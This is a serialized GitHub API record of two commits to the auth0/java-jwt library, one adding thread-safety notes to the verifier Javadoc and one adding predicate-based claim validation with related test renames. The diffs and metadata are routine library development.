https://github.com/poovamrajj>  0https://api.github.com/users/poovamraj/followersj>  =https://api.github.com/users/poovamraj/following{/other_user}j>  6https://api.github.com/users/poovamraj/gists{/gist_id}j>  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j>  4https://api.github.com/users/poovamraj/subscriptionsj>  +https://api.github.com/users/poovamraj/orgsj>  ,https://api.github.com/users/poovamraj/reposj>  7https://api.github.com/users/poovamraj/events{/privacy}j>  6https://api.github.com/users/poovamraj/received_eventsj>  Userj>  uparents]}(jS>  (8ad09b854815bcb3fb34e7b2acdbc4e59112899ajk>  \https://api.github.com/repos/auth0/java-jwt/commits/8ad09b854815bcb3fb34e7b2acdbc4e59112899ajw>  Qhttps://github.com/auth0/java-jwt/commit/8ad09b854815bcb3fb34e7b2acdbc4e59112899auastats}(totalK 	additionsK 	deletionsK ufiles]u(46d022a49dc35b8dd4b75b9ac48adc1844e110ee}(sha(46d022a49dc35b8dd4b75b9ac48adc1844e110eenode_idEC_kwDOAQtL0doAKDQ2ZDAyMmE0OWRjMzViOGRkNGI3NWI5YWM0OGFkYzE4NDRlMTEwZWUcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-08-30T01:28:48Zu	committer}(j>  GitHubj>  noreply@github.comj>  2022-08-30T01:28:48ZumessagenMerge pull request #605 from auth0/update-verifier-docs

[SDK-3816] Update docs for verification thread-safetytree}(j>  (ca886cb4ac2ac32965620907d9352143ab640b30url^https://api.github.com/repos/auth0/java-jwt/git/trees/ca886cb4ac2ac32965620907d9352143ab640b30uj>  `https://api.github.com/repos/auth0/java-jwt/git/commits/46d022a49dc35b8dd4b75b9ac48adc1844e110ee
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjDWfQCRBK7hj4Ov3rIwAAnE8IAEtWVrJMxGdgijMle7jTHGNP
s5p6OBGGCzyFl9YV00RxNfiVcv5rhEjXAiSQKVJEJmdZ52OoEglQSfDYdw0RVvt9
eC+jCyRo/S3syP6btAQxRqp8cHzze48+Sxe+z+o2pPQnrztJfcR0a1FzlCp5TLoE
jTrn8FTCKhstClH9DTkT/eMr5UToB22djttLvPSgxZE00Rgg0pGaL9esjUxymBfU
brWIIU6k8gL5oJuipkv9y/zITBloB91HlKwlXUgJ+zV8DFVG5AePnJm/+mANLwNA
RTpn/NNMHo3v668QzUJ4YR5WZ3TCh9rPctNC0vwKNLjKtchkNwalwB1QfAE3Hrc=
=a5Ov
-----END PGP SIGNATURE-----
payloadXr  tree ca886cb4ac2ac32965620907d9352143ab640b30
parent 298b95458199fce91a44872c268530edcd2f2233
parent 15202989d733ce695c302d2f2029bd67c919fd99
author Jim Anderson <jim.anderson@auth0.com> 1661822928 -0500
committer GitHub <noreply@github.com> 1661822928 -0500

Merge pull request #605 from auth0/update-verifier-docs

[SDK-3816] Update docs for verification thread-safetyuuj>  \https://api.github.com/repos/auth0/java-jwt/commits/46d022a49dc35b8dd4b75b9ac48adc1844e110eehtml_urlQhttps://github.com/auth0/java-jwt/commit/46d022a49dc35b8dd4b75b9ac48adc1844e110eecomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/46d022a49dc35b8dd4b75b9ac48adc1844e110ee/commentsj>  }(login
jimmyjamesidJ7 j>  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j>  'https://api.github.com/users/jimmyjamesj>  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj>  }(j>  web-flowj>  J/j>  MDQ6VXNlcjE5ODY0NDQ3j>  4https://avatars.githubusercontent.com/u/19864447?v=4j>  h3j>  %https://api.github.com/users/web-flowj>  https://github.com/web-flowj>  /https://api.github.com/users/web-flow/followersj>  <https://api.github.com/users/web-flow/following{/other_user}j>  5https://api.github.com/users/web-flow/gists{/gist_id}j>  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j>  3https://api.github.com/users/web-flow/subscriptionsj>  *https://api.github.com/users/web-flow/orgsj>  +https://api.github.com/users/web-flow/reposj>  6https://api.github.com/users/web-flow/events{/privacy}j>  5https://api.github.com/users/web-flow/received_eventsj>  Userj?  uparents](}(j>  (298b95458199fce91a44872c268530edcd2f2233j>  \https://api.github.com/repos/auth0/java-jwt/commits/298b95458199fce91a44872c268530edcd2f2233j>  Qhttps://github.com/auth0/java-jwt/commit/298b95458199fce91a44872c268530edcd2f2233u}(j>  (15202989d733ce695c302d2f2029bd67c919fd99j>  \https://api.github.com/repos/auth0/java-jwt/commits/15202989d733ce695c302d2f2029bd67c919fd99j>  Qhttps://github.com/auth0/java-jwt/commit/15202989d733ce695c302d2f2029bd67c919fd99uestats}(totalK	additionsK	deletionsKufiles](}(j>  (07c86a4c59c91e22c3b4cd56aac8f0275042e784filename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedj?  Kj ?  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/46d022a49dc35b8dd4b75b9ac48adc1844e110ee/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/46d022a49dc35b8dd4b75b9ac48adc1844e110ee/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=46d022a49dc35b8dd4b75b9ac48adc1844e110eepatchX  @@ -46,7 +46,11 @@ static Verification init(Algorithm algorithm) throws IllegalArgumentException {
     }
 
     /**
-     * {@link Verification} implementation that accepts all the expected Claim values for verification.
+     * {@link Verification} implementation that accepts all the expected Claim values for verification, and
+     * builds a {@link com.auth0.jwt.interfaces.JWTVerifier} used to verify a JWT's signature and expected claims.
+     *
+     * Note that this class is <strong>not</strong> thread-safe. Calling {@link #build()} returns an instance of
+     * {@link com.auth0.jwt.interfaces.JWTVerifier} which can be reused.
      */
     public static class BaseVerification implements Verification {
         private final Algorithm algorithm;u}(j>  (2756ddd88142eff2aa756aad6bc78facd09c3c21j%?  ;lib/src/main/java/com/auth0/jwt/interfaces/JWTVerifier.javaj'?  modifiedj?  K
j ?  Kj)?  Kj*?  https://github.com/auth0/java-jwt/blob/46d022a49dc35b8dd4b75b9ac48adc1844e110ee/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javaj,?  https://github.com/auth0/java-jwt/raw/46d022a49dc35b8dd4b75b9ac48adc1844e110ee/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javaj.?  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.java?ref=46d022a49dc35b8dd4b75b9ac48adc1844e110eej0?  XO  @@ -4,7 +4,19 @@
 
 
 /**
- * Used to verify the JWT for its signature and claims.
+ * Used to verify the JWT for its signature and claims. Implementations must be thread-safe. Instances are created
+ * using {@link Verification}.
+ *
+ * <pre>
+ * try {
+ *      JWTVerifier verifier = JWTVerifier.init(Algorithm.RSA256(publicKey, privateKey)
+ *          .withIssuer("auth0")
+ *          .build();
+ *      DecodedJWT jwt = verifier.verify("token");
+ * } catch (JWTVerificationException e) {
+ *      // invalid signature or claims
+ * }
+ * </pre>
  */
 public interface JWTVerifier {
 u}(j>  (b4adcf5c6fd64b478abb9110c29508819a5236eaj%?  <lib/src/main/java/com/auth0/jwt/interfaces/Verification.javaj'?  modifiedj?  Kj ?  Kj)?  Kj*?  https://github.com/auth0/java-jwt/blob/46d022a49dc35b8dd4b75b9ac48adc1844e110ee/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaj,?  https://github.com/auth0/java-jwt/raw/46d022a49dc35b8dd4b75b9ac48adc1844e110ee/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaj.?  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.java?ref=46d022a49dc35b8dd4b75b9ac48adc1844e110eej0?  X  @@ -7,7 +7,9 @@
 import java.util.function.BiPredicate;
 
 /**
- * Constructs and holds the checks required for a JWT to be considered valid.
+ * Constructs and holds the checks required for a JWT to be considered valid. Note that implementations are
+ * <strong>not</strong> thread-safe. Once built by calling {@link #build()}, the resulting
+ * {@link com.auth0.jwt.interfaces.JWTVerifier} is thread-safe.
  */
 public interface Verification {
 ueu(423a142d09bd837041e7d4aea4a9da60b5d70221}(sha(423a142d09bd837041e7d4aea4a9da60b5d70221node_idEC_kwDOAQtL0doAKDQyM2ExNDJkMDliZDgzNzA0MWU3ZDRhZWE0YTlkYTYwYjVkNzAyMjEcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-03-16T18:23:46Zu	committer}(jL?  James AndersonjN?  jim.anderson@auth0.comjP?  2022-03-16T18:23:46ZumessageXQ  added method to validate claim value using predicate

TODO:
- Additional tests
- Documentation
- See if there's a better way to run the validations than instanceof checks
- See if we can reuse the new method for the withClaimPresence implementation, instead of the awkwardness we do today (and potentially other areas where we can reuse)tree}(jD?  (ade1bdca62e226932e19a894b5278615911fb245url^https://api.github.com/repos/auth0/java-jwt/git/trees/ade1bdca62e226932e19a894b5278615911fb245uj\?  `https://api.github.com/repos/auth0/java-jwt/git/commits/423a142d09bd837041e7d4aea4a9da60b5d70221
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj\?  \https://api.github.com/repos/auth0/java-jwt/commits/423a142d09bd837041e7d4aea4a9da60b5d70221html_urlQhttps://github.com/auth0/java-jwt/commit/423a142d09bd837041e7d4aea4a9da60b5d70221comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/423a142d09bd837041e7d4aea4a9da60b5d70221/commentsjJ?  }(login
jimmyjamesidJ7 jF?  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j\?  'https://api.github.com/users/jimmyjamesjh?  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujR?  }(jm?  
jimmyjamesjo?  J7 jF?  MDQ6VXNlcjI3NjIyNQ==jq?  2https://avatars.githubusercontent.com/u/276225?v=4js?  h3j\?  'https://api.github.com/users/jimmyjamesjh?  https://github.com/jimmyjamesjv?  1https://api.github.com/users/jimmyjames/followersjx?  >https://api.github.com/users/jimmyjames/following{/other_user}jz?  7https://api.github.com/users/jimmyjames/gists{/gist_id}j|?  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j~?  5https://api.github.com/users/jimmyjames/subscriptionsj?  ,https://api.github.com/users/jimmyjames/orgsj?  -https://api.github.com/users/jimmyjames/reposj?  8https://api.github.com/users/jimmyjames/events{/privacy}j?  7https://api.github.com/users/jimmyjames/received_eventsj?  Userj?  uparents]}(jD?  (d712ddb00c8e3401dbc1489c9e8a22b9813e011cj\?  \https://api.github.com/repos/auth0/java-jwt/commits/d712ddb00c8e3401dbc1489c9e8a22b9813e011cjh?  Qhttps://github.com/auth0/java-jwt/commit/d712ddb00c8e3401dbc1489c9e8a22b9813e011cuastats}(totalKό	additionsK	deletionsKKufiles](}(jD?  (ddd7febd38b6b8c145adebf3cbc71859fe2eb5a2filename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedj?  Kj?  KchangesK0blob_urlhttps://github.com/auth0/java-jwt/blob/423a142d09bd837041e7d4aea4a9da60b5d70221/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/423a142d09bd837041e7d4aea4a9da60b5d70221/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=423a142d09bd837041e7d4aea4a9da60b5d70221patchX  @@ -14,6 +14,7 @@
 import java.time.Instant;
 import java.time.temporal.ChronoUnit;
 import java.util.*;
+import java.util.function.BiPredicate;
 
 /**
  * The JWTVerifier class holds the verify method to assert that a given Token has not only a proper JWT format, but also its signature matches.
@@ -206,6 +207,13 @@ public Verification withArrayClaim(String name, Long... items) throws IllegalArg
             return this;
         }
 
+        @Override
+        public Verification withClaim(String name, BiPredicate<Claim, DecodedJWT> predicate) throws IllegalArgumentException {
+            assertNonNull(name);
+            requireClaim(name, predicate);
+            return this;
+        }
+
         @Override
         public JWTVerifier build() {
             return this.build(Clock.systemUTC());
@@ -354,7 +362,7 @@ private void verifyClaimValues(DecodedJWT jwt, Map.Entry<String, Object> expecte
                 assertValidStringClaim(expectedClaim.getKey(), jwt.getSubject(), (String) expectedClaim.getValue());
                 break;
             default:
-                assertValidClaim(jwt.getClaim(expectedClaim.getKey()), expectedClaim.getKey(), expectedClaim.getValue());
+                assertValidClaim(jwt, expectedClaim);
                 break;
         }
     }
@@ -365,26 +373,32 @@ private void assertClaimPresent(Claim claim, String claimName) {
         }
     }
 
-    private void assertValidClaim(Claim claim, String claimName, Object value) {
+    private void assertValidClaim(DecodedJWT jwt, Map.Entry<String, Object> expectedClaim) {
         boolean isValid = false;
-        if (value instanceof String) {
-            isValid = value.equals(claim.asString());
-        } else if (value instanceof Integer) {
-            isValid = value.equals(claim.asInt());
-        } else if (value instanceof Long) {
-            isValid = value.equals(claim.asLong());
-        } else if (value instanceof Boolean) {
-            isValid = value.equals(claim.asBoolean());
-        } else if (value instanceof Double) {
-            isValid = value.equals(claim.asDouble());
-        } else if (value instanceof Instant) {
-            isValid = value.equals(claim.asInstant());
-        } else if (value instanceof Object[]) {
+        String claimName = expectedClaim.getKey();
+        Object expectedClaimValue = expectedClaim.getValue();
+        Claim claim = jwt.getClaim(claimName);
+
+        if (expectedClaimValue instanceof String) {
+            isValid = expectedClaimValue.equals(claim.asString());
+        } else if (expectedClaimValue instanceof Integer) {
+            isValid = expectedClaimValue.equals(claim.asInt());
+        } else if (expectedClaimValue instanceof Long) {
+            isValid = expectedClaimValue.equals(claim.asLong());
+        } else if (expectedClaimValue instanceof Boolean) {
+            isValid = expectedClaimValue.equals(claim.asBoolean());
+        } else if (expectedClaimValue instanceof Double) {
+            isValid = expectedClaimValue.equals(claim.asDouble());
+        } else if (expectedClaimValue instanceof Instant) {
+            isValid = expectedClaimValue.equals(claim.asInstant());
+        } else if (expectedClaimValue instanceof BiPredicate) {
+            isValid = ((BiPredicate) expectedClaimValue).test(claim, jwt);
+        } else if (expectedClaimValue instanceof Object[]) {
             List<Object> claimArr;
             Object[] claimAsObject = claim.as(Object[].class);
 
             // Jackson uses 'natural' mapping which uses Integer if value fits in 32 bits.
-            if (value instanceof Long[]) {
+            if (expectedClaimValue instanceof Long[]) {
                 // convert Integers to Longs for comparison with equals
                 claimArr = new ArrayList<>(claimAsObject.length);
                 for (Object cao : claimAsObject) {
@@ -397,7 +411,7 @@ private void assertValidClaim(Claim claim, String claimName, Object value) {
             } else {
                 claimArr = claim.isNull() ? Collections.emptyList() : Arrays.asList(claim.as(Object[].class));
             }
-            List<Object> valueArr = Arrays.asList((Object[]) value);
+            List<Object> valueArr = Arrays.asList((Object[]) expectedClaimValue);
             isValid = claimArr.containsAll(valueArr);
         }
 u}(jD?  (b435cb23f5ad8ae8db82f00166ca5fa1514a8dcfj?  <lib/src/main/java/com/auth0/jwt/interfaces/Verification.javaj?  modifiedj?  Kj?  K j?  Kj?  https://github.com/auth0/java-jwt/blob/423a142d09bd837041e7d4aea4a9da60b5d70221/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaj?  https://github.com/auth0/java-jwt/raw/423a142d09bd837041e7d4aea4a9da60b5d70221/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaj?  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.java?ref=423a142d09bd837041e7d4aea4a9da60b5d70221j?  X  @@ -4,6 +4,7 @@
 
 import java.time.Instant;
 import java.util.Date;
+import java.util.function.BiPredicate;
 
 /**
  * Holds the Claims and claim-based configurations required for a JWT to be considered valid.
@@ -231,6 +232,8 @@ default Verification withClaim(String name, Instant value) throws IllegalArgumen
 
     Verification withArrayClaim(String name, Long ... items) throws IllegalArgumentException;
 
+    Verification withClaim(String name, BiPredicate<Claim, DecodedJWT> predicate) throws IllegalArgumentException;
+
     /**
      * Skip the Issued At ("iat") date verification. By default, the verification is performed.
      *u}(jD?  (6e217989fe9cfd4d36cbe4826c3d51ed51ab4c00j?  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javaj?  modifiedj?  K\j?  K:j?  Kj?  https://github.com/auth0/java-jwt/blob/423a142d09bd837041e7d4aea4a9da60b5d70221/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj?  https://github.com/auth0/java-jwt/raw/423a142d09bd837041e7d4aea4a9da60b5d70221/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj?  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=423a142d09bd837041e7d4aea4a9da60b5d70221j?  X4  @@ -263,30 +263,30 @@ public void shouldRemoveAudienceWhenPassingNullReference() {
                 .withAudience((String) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey(JWTVerifier.AUDIENCE_EXACT)));
+        assertThat(verifier.expectedClaims, is(notNullValue()));
+        assertThat(verifier.expectedClaims, not(hasKey(JWTVerifier.AUDIENCE_EXACT)));
 
         verifier = JWTVerifier.init(algorithm)
                 .withAudience((String[]) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey(JWTVerifier.AUDIENCE_EXACT)));
+        assertThat(verifier.expectedClaims, is(notNullValue()));
+        assertThat(verifier.expectedClaims, not(hasKey(JWTVerifier.AUDIENCE_EXACT)));
 
         verifier = JWTVerifier.init(algorithm)
                 .withAudience()
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey(JWTVerifier.AUDIENCE_EXACT)));
+        assertThat(verifier.expectedClaims, is(notNullValue()));
+        assertThat(verifier.expectedClaims, not(hasKey(JWTVerifier.AUDIENCE_EXACT)));
 
         String emptyAud = "   ";
         verifier = JWTVerifier.init(algorithm)
                 .withAudience(emptyAud)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, hasEntry(JWTVerifier.AUDIENCE_EXACT, Collections.singletonList(emptyAud)));
+        assertThat(verifier.expectedClaims, is(notNullValue()));
+        assertThat(verifier.expectedClaims, hasEntry(JWTVerifier.AUDIENCE_EXACT, Collections.singletonList(emptyAud)));
     }
 
     @Test
@@ -296,30 +296,30 @@ public void shouldRemoveAudienceWhenPassingNullReferenceWithAnyOfAudience() {
                 .withAnyOfAudience((String) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey(JWTVerifier.AUDIENCE_CONTAINS)));
+        assertThat(verifier.expectedClaims, is(notNullValue()));
+        assertThat(verifier.expectedClaims, not(hasKey(JWTVerifier.AUDIENCE_CONTAINS)));
 
         verifier = JWTVerifier.init(algorithm)
                 .withAnyOfAudience((String[]) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey(JWTVerifier.AUDIENCE_CONTAINS)));
+        assertThat(verifier.expectedClaims, is(notNullValue()));
+        assertThat(verifier.expectedClaims, not(hasKey(JWTVerifier.AUDIENCE_CONTAINS)));
 
         verifier = JWTVerifier.init(algorithm)
                 .withAnyOfAudience()
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey(JWTVerifier.AUDIENCE_CONTAINS)));
+        assertThat(verifier.expectedClaims, is(notNullValue()));
+        assertThat(verifier.expectedClaims, not(hasKey(JWTVerifier.AUDIENCE_CONTAINS)));
 
         String emptyAud = "   ";
         verifier = JWTVerifier.init(algorithm)
                 .withAnyOfAudience(emptyAud)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, hasEntry(JWTVerifier.AUDIENCE_CONTAINS, Collections.singletonList(emptyAud)));
+        assertThat(verifier.expectedClaims, is(notNullValue()));
+        assertThat(verifier.expectedClaims, hasEntry(JWTVerifier.AUDIENCE_CONTAINS, Collections.singletonList(emptyAud)));
     }
 
     @Test
@@ -330,16 +330,16 @@ public void shouldRemoveAudienceWhenPassingNull() {
                 .withAudience((String) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("aud")));
+        assertThat(verifier.expectedClaims, is(notNullValue()));
+        assertThat(verifier.expectedClaims, not(hasKey("aud")));
 
         verifier = JWTVerifier.init(algorithm)
                 .withAudience("John")
                 .withAudience((String[]) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("aud")));
+        assertThat(verifier.expectedClaims, is(notNullValue()));
+        assertThat(verifier.expectedClaims, not(hasKey("aud")));
     }
 
     @Test
@@ -350,16 +350,16 @@ public void shouldRemoveAudienceWhenPassingNullWithAnyAudience() {
                 .withAnyOfAudience((String) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("aud")));
+        assertThat(verifier.expectedClaims, is(notNullValue()));
+        assertThat(verifier.expectedClaims, not(hasKey("aud")));
 
         verifier = JWTVerifier.init(algorithm)
                 .withAnyOfAudience("John")
                 .withAnyOfAudience((String[]) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("aud")));
+        assertThat(verifier.expectedClaims, is(notNullValue()));
+        assertThat(verifier.expectedClaims, not(hasKey("aud")));
     }
 
     @Test
@@ -533,8 +533,8 @@ public void shouldRemoveCustomClaimOfTypeDateWhenNull() {
                 .withClaim("name", (Date) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("iss")));
+        assertThat(verifier.expectedClaims, is(notNullValue()));
+        assertThat(verifier.expectedClaims, not(hasKey("iss")));
     }
 
     @Test
@@ -600,10 +600,10 @@ public void shouldAddDefaultLeewayToDateClaims() {
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, hasEntry("iat", (Object) 0L));
-        assertThat(verifier.claims, hasEntry("exp", (Object) 0L));
-        assertThat(verifier.claims, hasEntry("nbf", (Object) 0L));
+        assertThat(verifier.expectedClaims, is(notNullValue()));
+        assertThat(verifier.expectedClaims, hasEntry("iat", (Object) 0L));
+        assertThat(verifier.expectedClaims, hasEntry("exp", (Object) 0L));
+        assertThat(verifier.expectedClaims, hasEntry("nbf", (Object) 0L));
     }
 
     @SuppressWarnings("RedundantCast")
@@ -614,10 +614,10 @@ public void shouldAddCustomLeewayToDateClaims() {
                 .acceptLeeway(1234L)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, hasEntry("iat", (Object) 1234L));
-        assertThat(verifier.claims, hasEntry("exp", (Object) 1234L));
-        assertThat(verifier.claims, hasEntry("nbf", (Object) 1234L));
+        assertThat(verifier.expectedClaims, is(notNullValue()));
+        assertThat(verifier.expectedClaims, hasEntry("iat", (Object) 1234L));
+        assertThat(verifier.expectedClaims, hasEntry("exp", (Object) 1234L));
+        assertThat(verifier.expectedClaims, hasEntry("nbf", (Object) 1234L));
     }
 
     @SuppressWarnings("RedundantCast")
@@ -629,10 +629,10 @@ public void shouldOverrideDefaultIssuedAtLeeway() {
                 .acceptIssuedAt(9999L)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, hasEntry("iat", (Object) 9999L));
-        assertThat(verifier.claims, hasEntry("exp", (Object) 1234L));
-        assertThat(verifier.claims, hasEntry("nbf", (Object) 1234L));
+        assertThat(verifier.expectedClaims, is(notNullValue()));
+        assertThat(verifier.expectedClaims, hasEntry("iat", (Object) 9999L));
+        assertThat(verifier.expectedClaims, hasEntry("exp", (Object) 1234L));
+        assertThat(verifier.expectedClaims, hasEntry("nbf", (Object) 1234L));
     }
 
     @SuppressWarnings("RedundantCast")
@@ -644,10 +644,10 @@ public void shouldOverrideDefaultExpiresAtLeeway() {
                 .acceptExpiresAt(9999L)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, hasEntry("iat", (Object) 1234L));
-        assertThat(verifier.claims, hasEntry("exp", (Object) 9999L));
-        assertThat(verifier.claims, hasEntry("nbf", (Object) 1234L));
+        assertThat(verifier.expectedClaims, is(notNullValue()));
+        assertThat(verifier.expectedClaims, hasEntry("iat", (Object) 1234L));
+        assertThat(verifier.expectedClaims, hasEntry("exp", (Object) 9999L));
+        assertThat(verifier.expectedClaims, hasEntry("nbf", (Object) 1234L));
     }
 
     @SuppressWarnings("RedundantCast")
@@ -659,10 +659,10 @@ public void shouldOverrideDefaultNotBeforeLeeway() {
                 .acceptNotBefore(9999L)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, hasEntry("iat", (Object) 1234L));
-        assertThat(verifier.claims, hasEntry("exp", (Object) 1234L));
-        assertThat(verifier.claims, hasEntry("nbf", (Object) 9999L));
+        assertThat(verifier.expectedClaims, is(notNullValue()));
+        assertThat(verifier.expectedClaims, hasEntry("iat", (Object) 1234L));
+        assertThat(verifier.expectedClaims, hasEntry("exp", (Object) 1234L));
+        assertThat(verifier.expectedClaims, hasEntry("nbf", (Object) 9999L));
     }
 
     @Test
@@ -860,16 +860,16 @@ public void shouldRemoveClaimWhenPassingNull() {
                 .withIssuer((String) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("iss")));
+        assertThat(verifier.expectedClaims, is(notNullValue()));
+        assertThat(verifier.expectedClaims, not(hasKey("iss")));
 
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer("iss")
                 .withIssuer((String[]) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("iss")));
+        assertThat(verifier.expectedClaims, is(notNullValue()));
+        assertThat(verifier.expectedClaims, not(hasKey("iss")));
     }
 
     @Test
@@ -879,30 +879,30 @@ public void shouldRemoveIssuerWhenPassingNullReference() {
                 .withIssuer((String) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("iss")));
+        assertThat(verifier.expectedClaims, is(notNullValue()));
+        assertThat(verifier.expectedClaims, not(hasKey("iss")));
 
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer((String[]) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("iss")));
+        assertThat(verifier.expectedClaims, is(notNullValue()));
+        assertThat(verifier.expectedClaims, not(hasKey("iss")));
 
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer()
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("iss")));
+        assertThat(verifier.expectedClaims, is(notNullValue()));
+        assertThat(verifier.expectedClaims, not(hasKey("iss")));
 
         String emptyIss = "  ";
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer(emptyIss)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, hasEntry("iss", Collections.singletonList(emptyIss)));
+        assertThat(verifier.expectedClaims, is(notNullValue()));
+        assertThat(verifier.expectedClaims, hasEntry("iss", Collections.singletonList(emptyIss)));
     }
 
     @Test
@@ -1055,4 +1055,38 @@ public void shouldVerifyStandardClaimPresence() {
         DecodedJWT decodedJWT = verifier.verify(jwt);
         assertThat(decodedJWT, is(notNullValue()));
     }
+
+    @Test
